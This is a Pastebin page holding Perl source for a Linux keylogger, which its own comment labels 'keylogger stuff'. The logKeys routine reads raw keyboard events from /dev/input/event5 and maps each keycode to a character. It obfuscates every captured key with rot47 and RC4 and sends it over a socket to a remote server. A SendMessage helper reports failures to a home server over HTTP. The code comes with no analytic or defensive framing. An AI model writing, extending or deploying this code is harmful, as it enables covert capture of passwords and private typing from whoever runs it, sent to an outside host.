Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- sub SendMessage{ my ($hostpath, $tag, $msg) = @_; my $ua = LWP::UserAgent->newEx; $ua->timeout(100);
- my $url = "$hostpath?gcmd=1&name=$tag&msg=$msg"; my $response = $ua->get($url); }
- #############################################################
- @keyboard = ( # virtual keyboard
- #q w e r t y u i o p [ ] return left control
- 0x071, 0x077, 0x065, 0x072, 0x074, 0x079, 0x075, 0x069, 0x06f, 0x070, 0x05b, 0x05d, 0xff0d, 0xffe3,
- #a s d f g h j k l ; ' ` L_Shift backslash
- 0x061, 0x073, 0x064, 0x066, 0x067, 0x068, 0x06a, 0x06b, 0x06c, 0x03b, 0x027, 0x060, 0xffe1, 0x05c,
- #z x c v b n m , . / R_Shift escape
- 0x07a, 0x078, 0x063, 0x076, 0x062, 0x06e, 0x06d, 0x02c, 0x02e, 0x02f, 0xffe2, 0xff1b,
- # 1 2 3 4 5 6 7 8 9 10 - = backspace tab
- 0x031, 0x032, 0x033, 0x034, 0x035, 0x036, 0x037, 0x038, 0x039, 0x030, 0x02d, 0x03d, 0xff08, 0xff09,
- );
- %Keys = (
- 'a' => 0x061, 'b' => 0x062, 'c' => 0x063, 'd' => 0x064, 'e' => 0x065, 'f' => 0x066,
- 'g' => 0x067, 'h' => 0x068, 'i' => 0x069, 'j' => 0x06a, 'k' => 0x06b, 'l' => 0x06c,
- 'm' => 0x06d, 'n' => 0x06e, 'o' => 0x06f, 'p' => 0x070, 'q' => 0x071, 'r' => 0x072,
- 's' => 0x073, 't' => 0x074, 'u' => 0x075, 'v' => 0x076, 'w' => 0x077, 'x' => 0x078,
- 'y' => 0x079, 'z' => 0x07a,
- '0' => 0x030, '1' => 0x031, '2 / [ SPACE ]' => 0x032, '3' => 0x033, '4' => 0x034, '5' => 0x035,
- '6' => 0x036, '7' => 0x037, '8' => 0x038,'9' => 0x039,
- 'Shift_R' => 0xffe2, ',' => 0x02c, '.' => 0x02e, '/' => 0x02f,
- ';' => 0x03b, '\'' => 0x027, '[' => 0x05b, ']' => 0x05d,
- '-' => 0x02d, '=' => 0x03d,'\\' => 0x05c,'[ RETURN ]' => 0xff0d, '[ BACKSPACE ]' => 0xff08,
- '[ CAPS_LOCK ]' => 0xffe5, '[ CONTROL_L ]' => 0xffe3,'[ SUPER_L ]' => 0xffeb,'[ ESC ]' => 0xff1b,
- '`' => 0x060, '[ SHIFT_L ]' => 0xffe1, '[ TAB ]' => 0xff09,
- );
- sub logKeys { # keylogger stuff
- my( $SEND_PORT, $server_host, $pass) = @_;
- open(FILE,"/dev/input/event5");
- while(1){
- read(FILE,$b,96);
- $key_nr = @keyboard[ord(substr($b,60,1))-16];
- foreach my $key (keys %Keys){
- my $key_compare = $Keys{$key};
- if($key_compare == $key_nr){
- print ("$key -> numeric: $key_nr \n");
- my $sock3 = IO::Socket::INET->new(Proto => $proto,
- PeerPort => $SEND_PORT, PeerAddr => $server_host) or SendMessage($homeserver, $tag_send, "Creating+socket+error!");
- my $encoded0 = rot47("Key: $key");
- my $encRC4 = RC4( $pass, $encoded0 );
- $sock3->send("$encRC4") or SendMessage($homeserver, $tag_send, "Could+not+send+key!");
- last;
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement